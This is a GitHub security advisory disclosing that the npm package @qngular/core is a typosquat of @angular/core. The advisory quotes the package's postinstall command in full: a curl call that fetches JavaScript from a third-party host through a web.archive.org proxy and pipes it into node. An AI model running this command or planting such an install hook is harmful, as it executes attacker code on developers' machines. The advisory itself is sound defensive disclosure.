Skip to main content
Menu
Advisories

Malicious code in @qngular/core (npm)

GHSA-RWV8-8XGX-7C3RPublished Updated GitHubMalware

Description

Source: amazon-inspector (e83437986b94381cddff72267bc53907d980e1b14dbfef9123aa47f5ed664664)

Package @qngular/core is a one-character typosquat of @angular/core and copies the real package's description, author, and repository metadata. The postinstall lifecycle script in package.json runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an opaque, non-publisher-controlled JavaScript payload from a third-party host (gitflic.ru via a web.archive.org proxy) and piping it unverified into node. This executes attacker-controlled code on the installer's machine during npm install.

---

Credit: OpenSSF (source)

Affected versions

References